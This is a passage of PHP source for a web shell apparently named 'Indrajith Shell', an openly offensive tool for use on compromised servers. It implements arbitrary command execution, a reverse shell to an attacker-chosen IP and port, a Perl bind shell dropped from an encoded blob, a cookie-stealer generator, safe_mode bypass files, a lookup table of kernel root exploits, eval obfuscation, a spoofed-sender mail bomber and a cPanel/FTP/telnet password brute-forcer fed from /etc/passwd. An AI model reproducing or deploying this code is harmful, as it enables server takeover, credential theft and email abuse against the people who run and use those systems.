  670. New File Name : <input size='40' name='new_f_name' value=".$_GET['new_file']."></font><br /><br /><hr /><br /><center>
  671. <textarea spellcheck='false' cols='80' rows='25' class=textarea_edit name='n_file_content'></textarea></center><hr />
  672. <input class='input_big' type='submit' value=' Save ' /></form></center></div>";
  673. }
  674. function mk_file_bg()
  675. {
  676. chdir($_GET['path']);
  677. $c_path=$_GET['path'];
  678. $c_file=$_GET['new_f_name'];
  679. $c_file_contents=$_GET['n_file_content'];
  680. $handle=fopen($c_file, "w");
  681. if(!$handle)
  682. {
  683. alert("Permission Denied");
  684. }
  685. else
  686. {
  687. fwrite($handle,$c_file_contents);
  688. alert("Your changes were Successfully Saved!");
  689. }
  690. fclose($handle);
  691. }
  692. function create_dir()
  693. {
  694. chdir($_GET['path']);
  695. $new_dir=$_GET['new_dir'];
  696. if(is_writable($_GET['path']))
  697. {
  698. mkdir($new_dir);
  699. alert("Direcory Created Successfully");
  700. exit;
  701. }
  702. else
  703. {
  704. alert("Access Denied for this Operation");
  705. exit;
  706. }
  707. }
  708. function cmd($cmd)
  709. {
  710. chdir($_GET['path']);
  711. $res="";
  712. if($_GET['cmdexe'])
  713. {
  714. $cmd=$_GET['cmdexe'];
  715. }
  716. if(function_exists('shell_exec'))
  717. {
  718. $res=shell_exec($cmd);
  719. }
  720. else if(function_exists('exec'))
  721. {
  722. exec($cmd,$res);
  723. $res=join("\n",$res);
  724. }
  725. else if(function_exists('system'))
  726. {
  727. ob_start();
  728. system($cmd);
  729. $res = ob_get_contents();
  730. ob_end_clean();
  731. }
  732. elseif(function_exists('passthru'))
  733. {
  734. ob_start();
  735. passthru($cmd);
  736. $res=ob_get_contents();
  737. ob_end_clean();
  738. }
  739. else if(function_exists('proc_open'))
  740. {
  741. $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
  742. $handle = proc_open($cmd ,$descriptorspec , $pipes);
  743. if(is_resource($handle))
  744. {
  745. if(function_exists('fread') && function_exists('feof'))
  746. {
  747. while(!feof($pipes[1]))
  748. {
  749. $res .= fread($pipes[1], 512);
  750. }
  751. }
  752. else if(function_exists('fgets') && function_exists('feof'))
  753. {
  754. while(!feof($pipes[1]))
  755. {
  756. $res .= fgets($pipes[1],512);
  757. }
  758. }
  759. }
  760. pclose($handle);
  761. }
  763. else if(function_exists('popen'))
  764. {
  765. $handle = popen($cmd , "r");
  766. if(is_resource($handle))
  767. {
  768. if(function_exists('fread') && function_exists('feof'))
  769. {
  770. while(!feof($handle))
  771. {
  772. $res .= fread($handle, 512);
  773. }
  774. }
  775. else if(function_exists('fgets') && function_exists('feof'))
  776. {
  777. while(!feof($handle))
  778. {
  779. $res .= fgets($handle,512);
  780. }
  781. }
  782. }
  783. pclose($handle);
  784. }
  786. $res=wordwrap(htmlspecialchars($res));
  787. if($_GET['cmdexe'])
  788. {
  789. echo "<div id=result><center><font color=green><h2>r00t@TOF:~#</h2></center><hr /><pre>".$res."</font></pre></div>";
  790. }
  791. return $res;
  792. }
  793. function upload_file()
  794. {
  795. chdir($_POST['path']);
  796. if(move_uploaded_file($_FILES['upload_f']['tmp_name'],$_FILES['upload_f']['name']))
  797. {
  798. alert("Uploaded File Successfully");
  799. }
  800. else
  801. {
  802. alert("Access Denied!!!");
  803. }
  804. }
  806. function reverse_conn_ui()
  807. {
  808. global $your_ip;
  809. echo "<div id='result'>
  810. <center><h2>Reverse Shell</h2><hr />
  811. <br /><br /><form method='GET'><table class=tbl>
  812. <tr>
  813. <td><select name='rev_option' style='color:green; background-color:black; border:1px solid #666;'>
  814. <option>PHP Reverse Shell</option>
  815. <option>PERL Bind Shell</option>
  816. </select></td></tr><tr>
  817. <td>Your IP : <input name='my_ip' value=".$your_ip.">
  818. PORT : <input name='my_port' value='560'>
  819. <input type='submit' value=' >> ' /></td></tr></form>
  820. <tr></tr>
  821. <tr><td><font color=red>PHP Reverse Shell</font> : <font color=green> nc -l -p <i>port</i></font></td></tr><tr><td><font color=red>PERL Bind Shell</font> : <font color=green> nc <i>server_ip port</i></font></td></tr></table> </div>";
  822. }
  823. function reverse_conn_bg()
  824. {
  825. global $os;
  826. $option=$_REQUEST['rev_option'];
  827. $ip=$_GET['my_ip'];
  828. $port=$_GET['my_port'];
  829. if($option=="PHP Reverse Shell")
  830. {
  831. echo "<div id=result><h2>RESULT</h2><hr /><br />";
  832. function printit ($string)
  833. {
  834. if (!$daemon)
  835. {
  836. print "$string\n";
  837. }
  838. }
  839. $chunk_size = 1400;
  840. $write_a = null;
  841. $error_a = null;
  842. $shell = 'uname -a; w; id; /bin/sh -i';
  843. $daemon = 0;
  844. $debug = 0;
  845. if (function_exists('pcntl_fork'))
  846. {
  847. $pid = pcntl_fork();
  848. if ($pid == -1)
  849. {
  850. printit("ERROR: Can't fork");
  851. exit(1);
  852. }
  853. if ($pid)
  854. {
  855. exit(0);
  856. }
  857. if (posix_setsid() == -1)
  858. {
  859. printit("Error: Can't setsid()");
  860. exit(1);
  861. }
  862. $daemon = 1;
  863. }
  864. else
  865. {
  866. printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
  867. }
  868. chdir("/");
  869. umask(0);
  870. $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  871. if (!$sock)
  872. {
  873. printit("$errstr ($errno)");
  874. exit(1);
  875. }
  876. $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
  877. $process = proc_open($shell, $descriptorspec, $pipes);
  878. if (!is_resource($process))
  879. {
  880. printit("ERROR: Can't spawn shell");
  881. exit(1);
  882. }
  883. stream_set_blocking($pipes[0], 0);
  884. stream_set_blocking($pipes[1], 0);
  885. stream_set_blocking($pipes[2], 0);
  886. stream_set_blocking($sock, 0);
  887. printit("<font color=green>Successfully opened reverse shell to $ip:$port </font>");
  888. while (1)
  889. {
  890. if (feof($sock))
  891. {
  892. printit("ERROR: Shell connection terminated");
  893. break;
  894. }
  895. if (feof($pipes[1]))
  896. {
  897. printit("ERROR: Shell process terminated");
  898. break;
  899. }
  900. $read_a = array($sock, $pipes[1], $pipes[2]);
  901. $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
  902. if (in_array($sock, $read_a))
  903. {
  904. if ($debug) printit("SOCK READ");
  905. $input = fread($sock, $chunk_size);
  906. if ($debug) printit("SOCK: $input");
  907. fwrite($pipes[0], $input);
  908. }
  909. if (in_array($pipes[1], $read_a))
  910. {
  911. if ($debug) printit("STDOUT READ");
  912. $input = fread($pipes[1], $chunk_size);
  913. if ($debug) printit("STDOUT: $input");
  914. fwrite($sock, $input);
  915. }
  916. if (in_array($pipes[2], $read_a))
  917. {
  918. if ($debug) printit("STDERR READ");
  919. $input = fread($pipes[2], $chunk_size);
  920. if ($debug) printit("STDERR: $input");
  921. fwrite($sock, $input);
  922. }
  923. }
  924. fclose($sock);
  925. fclose($pipes[0]);
  926. fclose($pipes[1]);
  927. fclose($pipes[2]);
  928. proc_close($process);
  929. echo "<br /><br /><hr /><br /><br /></div>";
  930. }
  931. else if($option=="PERL Bind Shell")
  932. {
  933. global $bind_perl, $os;
  934. $pbfl=$bind_perl;
  935. $handlr=fopen("indrajith_perl_bind.pl", "wb");
  936. if($handlr)
  937. {
  938. fwrite($handlr, gzinflate(base64_decode($bind_perl)));
  939. }
  940. else
  941. {
  942. alert("Access Denied for create new file");
  943. }
  944. fclose($handlr);
  945. if(file_exists("indrajith_perl_bind.pl"))
  946. {
  947. if($os=="nix")
  948. {
  949. cmd("chmod +x indrajith_perl_bind.pl;perl indrajith_perl_bind.pl $port");
  950. }
  951. else
  952. {
  953. cmd("perl indrajith_perl_bind.pl $port");
  954. }
  955. }
  956. }
  957. }
  959. function cookie_jack()
  960. {
  961. global $cookie_highjacker;
  962. echo "<div id=result><center><h2>NOTICE</h2><hr/>";
  963. if(function_exists('fopen') && function_exists('fwrite'))
  964. {
  965. $cook=gzinflate(base64_decode($cookie_highjacker));
  966. $han_le=fopen("jith_cookie.php", "w+");
  967. if($han_le)
  968. {
  969. fwrite($han_le, $cook);
  970. echo "Yes... Cookie highjacker is generated.<br /> Name : <a style='color:green;' target=_blank href=jith_cookie.php>jith_cookie.php</a></font>.<br /> Rename it as 404.php or what you like and highjack cookie of your target.<br />It is usefull in XSS<br />It will make a file <font color=red>configuration.txt</font> in this direcory and save the cookie value in it. :p cheers...<br /><br /><hr /><br /><br /></center></div>";
  971. }
  972. else
  973. {
  974. echo "<font color=red>Sorry... Generate COOKIE HIGHJACKER failed<br /><br /><hr /><br /><br /></center></div>";
  975. }
  976. }
  977. }
  981. function safe_mode_fuck()
  982. {
  983. global $s_php_ini,$s_htaccess,$s_htaccess_pl,$ini_php;
  984. $path = chdir($_GET['path']);
  985. chdir($_GET['path']);
  986. switch($_GET['safe_mode'])
  987. {
  988. case "s_php_ini":
  989. $s_file=$s_php_ini;
  990. $s_name="php.ini";
  991. break;
  992. case "s_htaccess":
  993. $s_name=".htaccess";
  994. $s_file=$s_htaccess;
  995. break;
  996. case "s_htaccess_pl":
  997. $s_name=".htaccess";
  998. $s_file=$s_htaccess_pl;
  999. break;
  1000. case "s_ini_php":
  1001. $s_name="ini.php";
  1002. $s_file=$ini_php;
  1003. break;
  1005. }
  1006. if(function_exists('fopen')&& function_exists('fwrite'))
  1007. {
  1008. $s_handle=fopen("$s_name", "w+");
  1009. if($s_handle)
  1010. {
  1011. fwrite($s_handle, $s_file);
  1012. alert("Operation Succeed!!!");
  1013. }
  1014. else
  1015. {
  1016. alert("Access Denied!!!");
  1017. }
  1018. fclose($s_handle);
  1019. }
  1020. }
  1021. function safe_mode_fuck_ui()
  1022. {
  1023. global $path;
  1024. $path=getcwd();
  1025. echo "<div id=result><br /><center><h2>Select Your Options</h2><hr />
  1026. <table class=tbl size=10><tr><td><a href=?path={$path}&safe_mode=s_php_ini>PHP.INI</a></td><td><a href=?path={$path}&safe_mode=s_htaccess>.HTACCESS</a></td><td><a href=?path={$path}&safe_mode=s_htaccess_pl>.HTACCESS(perl)</td><td><a href=?path={$path}&safe_mode=s_ini_php>INI.PHP</td></tr></table><br /><br /></div>";
  1027. }
  1030. function AccessDenied()
  1031. {
  1032. global $path, $forbid_dir;
  1033. $path=$_GET['path'];
  1034. chdir($path);
  1035. if(function_exists('fopen') && function_exists('fwrite'))
  1036. {
  1037. $forbid=fopen(".htaccess", "wb");
  1038. if($forbid)
  1039. {
  1040. fwrite($forbid, $forbid_dir);
  1041. alert("Opreation Succeeded");
  1042. }
  1043. else
  1044. {
  1045. alert("Access Denied");
  1046. }
  1047. fclose($forbid);
  1048. }
  1049. }
  1051. function r00t_exploit()
  1052. {
  1053. $kernel = php_uname();
  1054. $r00t_db = array('2.6.19'=>'jessica','2.6.20'=>'jessica','2.6.21'=>'jessica','2.6.22'=>'jessica','2.6.23'=>'jessica, vmsplice','2.6.24'=>'jessica, vmspice','2.6.31'=>'enlightment','2.6.18'=>'brk, ptrace, kmod, brk2','2.6.17'=>'prctl3, raptor_prctl, py2','2.6.16'=>'raptor_prctl, exp.sh, raptor, raptor2, h00lyshit','2.6.15'=>'py2, exp.sh, raptor, raptor2, h00lyshit','2.6.14'=>'raptor, raptor2, h00lyshit','2.6.13'=>'kdump, local26, py2, raptor_prctl, exp.sh, prctl3, h00lyshit','2.6.12'=>'h00lyshit','2.6.11'=>'krad3, krad, h00lyshit','2.6.10'=>'h00lyshit, stackgrow2, uselib24, exp.sh, krad, krad2','2.6.9'=>'exp.sh, krad3, py2, prctl3, h00lyshit','2.6.8'=>'h00lyshit, krad, krad2','2.6.7'=>'h00lyshit, krad, krad2','2.6.6'=>'h00lyshit, krad, krad2','2.6.2'=>'h00lyshit, krad, mremap_pte','2.6.'=>'prctl, kmdx, newsmp, pwned, ptrace_kmod, ong_bak','2.4.29'=>'elflbl, expand_stack, stackgrow2, uselib24, smpracer','2.4.27'=>'elfdump, uselib24','2.4.25'=>'uselib24','2.4.24'=>'mremap_pte, loko, uselib24','2.4.23'=>'mremap_pte, loko, uselib24','2.4.22'=>'loginx, brk, km2, loko, ptrace, uselib24, brk2, ptrace-kmod','2.4.21'=>'w00t, brk, uselib24, loginx, brk2, ptrace-kmod','2.4.20'=>'mremap_pte, w00t, brk, ave, uselib24, loginx, ptrace-kmod, ptrace, kmod','2.4.19'=>'newlocal, w00t, ave, uselib24, loginx, kmod','2.4.18'=>'km2, w00t, uselib24, loginx, kmod','2.4.17'=>'newlocal, w00t, uselib24, loginx, kmod','2.4.16'=>'w00t, uselib24, loginx','2.4.10'=>'w00t, brk, uselib24, loginx','2.4.9'=>'ptrace24, uselib24','2.4.'=>'kmdx, remap, pwned, ptrace_kmod, ong_bak','2.2.25'=>'mremap_pte','2.2.24'=>'ptrace','2.2.'=>'rip,ptrace');
  1055. foreach($r00t_db as $kern=>$exp)
  1056. {
  1057. if(strstr($kernel, $kern))
  1058. {
  1059. return $exp;
  1060. }
  1061. else
  1062. {
  1063. $exp='<font color="red">Not found.</font>';
  1064. return $exp;
  1065. }
  1066. }
  1067. }
  1069. function php_ende_ui()
  1070. {
  1071. echo "<div id=result><center><h2>PHP ENCODE/DECODE</h2></center><hr /><form method='post'><table class=tbl>
  1072. <tr><td>
  1073. Method : <select name='typed' style='color:green; background-color:black; border:1px solid #666;'><option>Encode</option><option>Decode</decode></select> TYPE : <select name='typenc' style='color:green; background-color:black; border:1px solid #666;'><option>GZINFLATE</option><option>GZUNCOMPRESS</option><option>STR_ROT13</option></tr>
  1074. </td><tr><td><textarea spellcheck='false' class=textarea_edit cols='80' rows='25' name='php_content'>INPUT YOUR CONTENT TO ENCODE/DECODE
  1076. For Encode Input your full source code.
  1078. For Decode Input the encoded part only.</textarea></tr></td></table><hr /><input class='input_big' type='submit' value=' >> ' /><br /><hr /><br /><br /></form></div>";
  1079. }
  1080. function php_ende_bg()
  1081. {
  1082. $meth_d=$_POST['typed'];
  1083. $typ_d=$_POST['typenc'];
  1084. $c_ntent=$_POST['php_content'];
  1085. $c_ntent=$c_ntent;
  1086. switch($meth_d)
  1087. {
  1088. case "Encode":
  1089. switch($typ_d)
  1090. {
  1091. case "GZINFLATE":
  1092. $res_t=base64_encode(gzdeflate(trim(stripslashes($c_ntent.' '),'<?php, ?>'),9));
  1093. $res_t="<?php /* Encoded in INDRAJITH SHELL PROJECT */ eval(gzinflate(base64_decode(\"$res_t\"))); ?>";
  1094. break;
  1095. case "GZUNCOMPRESS":
  1096. $res_t=base64_encode(gzcompress(trim(stripslashes($c_ntent.' '),'<?php, ?>'),9));
  1097. $res_t="<?php /* Encoded in INDRAJITH SHELL PROJECT */ eval(gzuncompress(base64_decode(\"$res_t\"))); ?>";
  1098. break;
  1099. case "STR_ROT13":
  1100. $res_t=trim(stripslashes($c_ntent.' '),'<?php, ?>');
  1101. $res_t=base64_encode(str_rot13($res_t));
  1102. $res_t="<?php /* Encoded in INDRAJITH SHELL PROJECT */ eval(str_rot13(base64_decode(\"$res_t\"))); ?>";
  1103. break;
  1104. }
  1105. break;
  1106. case "Decode":
  1107. switch($typ_d)
  1108. {
  1109. case "GZINFLATE":
  1110. $res_t=gzinflate(base64_decode($c_ntent));
  1111. break;
  1112. case "GZUNCOMPRESS":
  1113. $res_t=gzuncompress(base64_decode($c_ntent));
  1114. break;
  1115. case "STR_ROT13":
  1116. $res_t=str_rot13(base64_decode($c_ntent));
  1117. break;
  1118. }
  1119. break;
  1120. }
  1121. echo "<div id=result><center><h2>INDRAJITH SHELL</h2><hr /><textarea spellcheck='false' class=textarea_edit cols='80' rows='25'>".htmlspecialchars($res_t)."</textarea></center></div>";
  1122. }
  1124. function massmailer_ui()
  1125. {
  1126. echo "<div id=result><center><h2>MASS MAILER & MAIL BOMBER</h2><hr /><table class=tbl width=40 style='col-width:40'><td><table class=tbl><tr style='float:left;'><td><font color=green size=4>Mass Mail</font></td></tr><form method='POST'><tr style='float:left;'><td> FROM : </td><td><input name='from' size=40 value='ajithkp560@fbi.gov'></td></tr><tr style='float:left;'><td>TO :</td><td><input size=40 name='to_mail' value='ajithkp560@gmail.com,ajithkp560@yahoo.com'></td></tr><tr style='float:left;'><td>Subject :</td><td><input size=40 name='subject_mail' value='Hi, GuyZ'></td></tr><tr style='float:left;'><td><textarea spellcheck='false' class=textarea_edit cols='34' rows='10' name='mail_content'>I'm doing massmail :p</textarea></td><td><input class='input_big' type='submit' value=' >> '></td></tr></form></table></td>
  1127. <form method='post'><td> <table class='tbl'><td><font color=green size=4>Mail Bomber</font></td></tr><tr style='float:left;'><td>TO : </td><td><input size=40 name='bomb_to' value='ajithkp560@gmail.com,ajithkp560_mail_bomb@fbi.gov'></td></tr><tr style='float:left;'><td>Subject : </td><td><input size=40 name='bomb_subject' value='Bombing with messages'></td></tr><tr style='float:left;'><td>No. of times</td><td><input size=40 name='bomb_no' value='100'></td></tr><tr style='float:left;'><td> <textarea spellcheck='false' class=textarea_edit cols='34' rows='10' name='bmail_content'>I'm doing E-Mail Bombing :p</textarea> </td><td><input class='input_big' type='submit' value=' >> '></td></tr></form></table> </td></tr></table>";
  1128. }
  1130. function massmailer_bg()
  1131. {
  1132. $from=$_POST['from'];
  1133. $to=$_POST['to_mail'];
  1134. $subject=$_POST['subject_mail'];
  1135. $message=$_POST['mail_content'];
  1136. if(function_exists('mail'))
  1137. {
  1138. if(mail($to,$subject,$message,"From:$from"))
  1139. {
  1140. echo "<div id=result><center><h2>MAIL BOMBING</h2><hr /><br /><br /><font color=green size=4>Successfully Mails Send... :p</font><br /><br /><hr /><br /><br />";
  1141. }
  1142. else
  1143. {
  1144. echo "<div id=result><center><h2>MAIL BOMBING</h2><hr /><br /><br /><font color=red size=4>Sorry, failed to Mails Sending... :(</font><br /><br /><hr /><br /><br />";
  1145. }
  1146. }
  1147. else
  1148. {
  1149. echo "<div id=result><center><h2>MAIL BOMBING</h2><hr /><br /><br /><font color=red size=4>Sorry, failed to Mails Sending... :(</font><br /><br /><hr /><br /><br />";
  1150. }
  1151. }
  1153. function mailbomb_bg()
  1154. {
  1155. $rand=rand(0, 9999999);
  1156. $to=$_POST['bomb_to'];
  1157. $from="president_$rand@whitewhitehouse.gov";
  1158. $subject=$_POST['bomb_subject']." ID ".$rand;
  1159. $times=$_POST['bomb_no'];
  1160. $content=$_POST['bmail_content'];
  1161. if($times=='')
  1162. {
  1163. $times=1000;
  1164. }
  1165. while($times--)
  1166. {
  1167. if(function_exists('mail'))
  1168. {
  1169. if(mail($to,$subject,$content,"From:$from"))
  1170. {
  1171. echo "<div id=result><center><h2>MAIL BOMBING</h2><hr /><br /><br /><font color=green size=4>Successfully Mails Bombed... :p</font><br /><br /><hr /><br /><br />";
  1172. }
  1173. else
  1174. {
  1175. echo "<div id=result><center><h2>MAIL BOMBING</h2><hr /><br /><br /><font color=red size=4>Sorry, failed to Mails Bombing... :(</font><br /><br /><hr /><br /><br />";
  1176. }
  1177. }
  1178. else
  1179. {
  1180. echo "<div id=result><center><h2>MAIL BOMBING</h2><hr /><br /><br /><font color=red size=4>Sorry, failed to Mails Bombing... :(</font><br /><br /><hr /><br /><br />";
  1181. }
  1182. }
  1183. }
  1186. /* ----------------------- CPANEL CRACK is Copied from cpanel cracker ----------*/
  1187. /*------------------------ Credit Goes to Them ---------------------------------*/
  1188. function cpanel_check($host,$user,$pass,$timeout)
  1189. {
  1190. set_time_limit(0);
  1191. global $cpanel_port;
  1192. $ch = curl_init();
  1193. curl_setopt($ch, CURLOPT_URL, "http://$host:" . $cpanel_port);
  1194. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1195. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  1196. curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  1197. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  1198. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  1199. $data = curl_exec($ch);
  1200. if ( curl_errno($ch) == 28 )
  1201. {
  1202. print "<b><font color=orange>Error :</font> <font color=red>Connection Timeout. Please Check The Target Hostname .</font></b>";
  1203. exit;
  1204. }
  1205. else if (curl_errno($ch) == 0 )
  1206. {
  1207. print "<b><font face=\"Tahoma\" style=\"font-size: 9pt\" color=\"orange\">[~]</font></b><font face=\"Tahoma\" style=\"font-size: 9pt\"><b><font color=\"green\">
  1208. Cracking Success With Username "</font><font color=\"#FF0000\">$user</font><font color=\"#008000\">\" and Password \"</font><font color=\"#FF0000\">$pass</font><font color=\"#008000\">\"</font></b><br><br>";
  1209. }
  1210. curl_close($ch);
  1211. }
  1213. function cpanel_crack()
  1214. {
  1215. set_time_limit(0);
  1216. global $os;
  1217. echo "<div id=result>";
  1218. $cpanel_port="2082";
  1219. $connect_timeout=5;
  1220. if(!isset($_POST['username']) && !isset($_POST['password']) && !isset($_POST['target']) && !isset($_POST['cracktype']))
  1221. {
  1222. ?>
  1223. <center>
  1224. <form method=post>
  1225. <table class=tbl>
  1226. <tr>
  1227. <td align=center colspan=2>Target : <input type=text name="server" value="localhost" class=sbox></td>
  1228. </tr>
  1229. <tr>
  1230. <td align=center>User names</td><td align=center>Password</td>
  1231. </tr>
  1232. <tr>
  1233. <td align=center><textarea spellcheck='false' class=textarea_edit name=username rows=25 cols=35 class=box><?php
  1234. if($os != "win")
  1235. {
  1236. if(@file('/etc/passwd'))
  1237. {
  1238. $users = file('/etc/passwd');
  1239. foreach($users as $user)
  1240. {
  1241. $user = explode(':', $user);
  1242. echo $user[0] . "\n";
  1243. }
  1244. }
  1245. else
  1246. {
  1247. $temp = "";
  1248. $val1 = 0;
  1249. $val2 = 1000;
  1250. for(;$val1 <= $val2;$val1++)
  1251. {
  1252. $uid = @posix_getpwuid($val1);
  1253. if ($uid)
  1254. $temp .= join(':',$uid)."\n";
  1255. }
  1257. $temp = trim($temp);
  1259. if($file5 = fopen("test.txt","w"))
  1260. {
  1261. fputs($file5,$temp);
  1262. fclose($file5);
  1264. $file = fopen("test.txt", "r");
  1265. while(!feof($file))
  1266. {
  1267. $s = fgets($file);
  1268. $matches = array();
  1269. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  1270. $matches = str_replace("home/","",$matches[1]);
  1271. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  1272. continue;
  1273. echo $matches;
  1274. }
  1275. fclose($file);
  1276. }
  1277. }
  1278. }
  1279. ?></textarea></td><td align=center><textarea spellcheck='false' class=textarea_edit name=password rows=25 cols=35 class=box></textarea></td>
  1280. </tr>
  1281. <tr>
  1282. <td align=center colspan=2>Guess options : <label><input name="cracktype" type="radio" value="cpanel" checked> Cpanel(2082)</label><label><input name="cracktype" type="radio" value="ftp"> Ftp(21)</label><label><input name="cracktype" type="radio" value="telnet"> Telnet(23)</label></td>
  1283. </tr>
  1284. <tr>
  1285. <td align=center colspan=2>Timeout delay : <input type="text" name="delay" value=5 class=sbox></td>
  1286. </tr>
  1287. <tr>
  1288. <td align=center colspan=2><input type="submit" value=" Go " class=but></td>
  1289. </tr>
  1290. </table>
  1291. </form>
  1292. </center>
  1293. <?php
  1294. }
  1295. else
  1296. {
  1297. if(empty($_POST['username']) || empty($_POST['password']))
  1298. echo "<center>Please Enter The Users or Password List</center>";
  1299. else
  1300. {
  1301. $userlist=explode("\n",$_POST['username']);
  1302. $passlist=explode("\n",$_POST['password']);
  1304. if($_POST['cracktype'] == "ftp")
  1305. {
  1306. foreach ($userlist as $user)
  1307. {
  1308. $pureuser = trim($user);
  1309. foreach ($passlist as $password )
  1310. {
  1311. $purepass = trim($password);
  1312. ftp_check($_POST['target'],$pureuser,$purepass,$connect_timeout);
  1313. }
  1314. }
  1315. }
  1316. if ($_POST['cracktype'] == "cpanel" || $_POST['cracktype'] == "telnet")
  1317. {
  1318. if($cracktype == "telnet")
  1319. {
  1320. $cpanel_port="23";
  1321. }
  1322. else
  1323. $cpanel_port="2082";
  1324. foreach ($userlist as $user)
  1325. {
  1326. $pureuser = trim($user);
  1327. echo "<b><font face=Tahoma style=\"font-size: 9pt\" color=#008000> [ - ] </font><font face=Tahoma style=\"font-size: 9pt\" color=#FF0800>
  1328. Processing user $pureuser ...</font></b><br><br>";
  1329. foreach ($passlist as $password )
  1330. {
  1331. $purepass = trim($password);
  1332. cpanel_check($_POST['target'],$pureuser,$purepass,$connect_timeout);
  1333. }
  1334. }
  1335. }
  1336. }
  1337. }
  1339. echo "</div>";
  1340. }
  1342. function get_users()
  1343. {
  1344. $userz = array();
  1345. $user = file("/etc/passwd");
  1346. foreach($user as $userx=>$usersz)
  1347. {
  1348. $userct = explode(":",$usersz);
  1349. array_push($userz,$userct[0]);
  1350. }
  1351. if(!$user)
  1352. {
  1353. if($opd = opendir("/home/"))
  1354. {
  1355. while(($file = readdir($opd))!== false)
  1356. {
  1357. array_push($userz,$file);
  1358. }
  1359. }
  1360. closedir($opd);
  1361. }
  1362. $userz=implode(', ',$userz);
  1363. return $userz;
  1364. }
  1366. function exploit_details()
  1367. {
  1368. global $os;
  1369. echo "<div id=result style='color:green;'><center>
  1370. <h2>Exploit Server Details</h2><hr /><br /><br /><table class=table style='color:green;text-align:center'><tr><td>
  1371. OS: <a style='color:7171C6;text-decoration:none;' target=_blank href='http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=".php_uname(s)."'>".php_uname(s)."</td></tr>
  1372. <tr><td>PHP Version : <a style='color:7171C6;text-decoration:none;' target=_blank href='?phpinfo'>".phpversion().".</td></tr>
  1373. <tr><td>Kernel Release : <font color=7171C6>".php_uname(r)."</font></td></tr>
  1374. <tr><td>Kernel Version : <font color=7171C6>".php_uname(v)."</font></td></td>
  1375. <tr><td>Machine : <font color=7171C6>".php_uname(m)."</font></td</tr>
  1376. <tr><td>Server Software : <font color=7171C6>".$_SERVER['SERVER_SOFTWARE']."</font></td</tr><tr>";
  1377. if(function_exists('apache_get_modules'))
  1378. {
  1379. echo "<tr><td style='text-align:left;'>Loaded Apache modules : <br /><br /><font color=7171C6>";
  1380. echo implode(', ', apache_get_modules());
  1381. echo "</font></tr></td>";
  1382. }
  1383. if($os=='win')
  1384. {
  1385. echo "<tr><td style='text-align:left;'>Account Setting : <font color=7171C6><pre>".cmd('net accounts')."</pre></td></tr>
  1386. <tr><td style='text-align:left'>User Accounts : <font color=7171C6><pre>".cmd('net user')."</pre></td></tr>
  1387. ";
  1388. }
  1389. if($os=='nix')
  1390. {
  1391. echo "<tr><td style='text-align:left'>Distro : <font color=7171C6><pre>".cmd('cat /etc/*-release')."</pre></font></td></tr>
  1392. <tr><td style='text-align:left'>Distr name : <font color=7171C6><pre>".cmd('cat /etc/issue.net')."</pre></font></td></tr>
  1393. <tr><td style='text-align:left'>GCC : <font color=7171C6><pre>".cmd('whereis gcc')."</pre></td></tr>
  1394. <tr><td style='text-align:left'>PERL : <font color=7171C6><pre>".cmd('whereis perl')."</pre></td></tr>
  1395. <tr><td style='text-align:left'>PYTHON : <font color=7171C6><pre>".cmd('whereis python')."</pre></td></tr>
  1396. <tr><td style='text-align:left'>JAVA : <font color=7171C6><pre>".cmd('whereis java')."</pre></td></tr>
  1397. <tr><td style='text-align:left'>APACHE : <font color=7171C6><pre>".cmd('whereis apache')."</pre></td></tr>
  1398. <tr><td style='text-align:left;'>CPU : <br /><br /><pre><font color=7171C6>".cmd('cat /proc/cpuinfo')."</font></pre></td></tr>
  1399. <tr><td style='text-align:left'>RAM : <font color=7171C6><pre>".cmd('free -m')."</pre></td></tr>
  1400. <tr><td style='text-align:left'> User Limits : <br /><br /><font color=7171C6><pre>".cmd('ulimit -a')."</pre></td></tr>";
  1401. $useful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  1402. $uze=array();
  1403. foreach($useful as $uzeful)
  1404. {
  1405. if(cmd("which $uzeful"))
  1406. {
  1407. $uze[]=$uzeful;
  1408. }
  1409. }
  1410. echo "<tr><td style='text-align:left'>Useful : <br /><font color=7171C6><pre>";
  1411. echo implode(', ',$uze);
  1412. echo "</pre></td></tr>";
  1413. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  1414. $uze=array();
  1415. foreach($downloaders as $downloader)
  1416. {
  1417. if(cmd("which $downloader"))
  1418. {
  1419. $uze[]=$downloader;
  1420. }
  1421. }
  1422. echo "<tr><td style='text-align:left'>Downloaders : <br /><font color=7171C6><pre>";
  1423. echo implode(', ',$uze);
  1424. echo "</pre></td></tr>";
  1425. echo "<tr><td style='text-align:left'>Users : <br /><font color=7171C6><pre>".wordwrap(get_users())."</pre</font>></td></tr>
  1426. <tr><td style='text-align:left'>Hosts : <br /><font color=7171C6><pre>".cmd('cat /etc/hosts')."</pre></font></td></tr>";
  1427. }
  1428. echo "</table><br /><br /><hr /><br /><br />";
  1429. }
  1431. function remote_file_check_ui()
  1432. {
  1433. echo "<div id=result><center><h2>Remote File Check</h2><hr /><br /><br />
  1434. <table class=tbl><form method='POST'><tr><td>URL : <input size=50 name='rem_web' value='http://www.ajithkp560.hostei.com/php/'></td></tr>
  1435. <tr><td><font color=red>Input File's Names in TextArea</font></tr></td><tr><td><textarea spellcheck='false' class='textarea_edit' cols=50 rows=30 name='tryzzz'>indrajith.php
  1436. ajithkp560.php
  1437. index.html
  1438. profile.php
  1439. c99.php
  1440. r57.php</textarea></td></tr>
